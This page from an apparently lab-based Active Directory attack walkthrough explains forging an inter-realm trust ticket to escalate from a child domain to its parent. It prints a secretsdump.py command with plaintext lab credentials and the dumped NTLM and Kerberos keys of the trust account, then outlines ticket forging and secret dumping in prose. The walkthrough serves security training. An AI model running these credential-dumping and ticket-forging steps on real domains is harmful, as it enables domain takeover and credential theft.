search

Trust ticket - forge inter-realm TGT

  • Another way to escalate from child to parent is by extracting the trust key and use it to create our trust ticket (a very good explanation and examples with Mimikatz can be found here : https://adsecurity.org/?p=1588arrow-up-right)

  • The trust key can be found by targeting the netbios name of the domain on the ntds

secretsdump.py -just-dc-user 'NEWYORK$' \
 north.newyork.local/fernando.alonzo:'IDr1R3allyF@sTF1!'@192.168.56.11
 
Impacket v0.10.1.dev1+20230216.13520.d4c06e7f - Copyright 2022 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
newyork$:1105:aad3b435b51404eeaad3b435b51404ee:59f1453dcd3f2fdc8c52f38693806154:::
[*] Kerberos keys grabbed
newyork$:aes256-cts-hmac-sha1-96:8d20b70ca945f979ff4ac5928e6f7397b43a3737ac9b1ee2579294c584bbe49e
newyork$:aes128-cts-hmac-sha1-96:05c2cc6747982c155cc82ccae92b8475
newyork$:des-cbc-md5:6e647ff89b08b089
[*] Cleaning up...

  • Now we got the trust key we can forge the ticket just like we done with the krbtgt user hash but this time we will set the spn : krbtgt/parent_domain

  • Now we will use the forged TGT to ask a ST on the parent domain

  • And now we can use our service ticket :)

  • connect with smbclient

  • or even dump secrets

PreviousGolden ticket + ExtraSidNextForest Trust (newyork.local -> maryland.local)

Last updated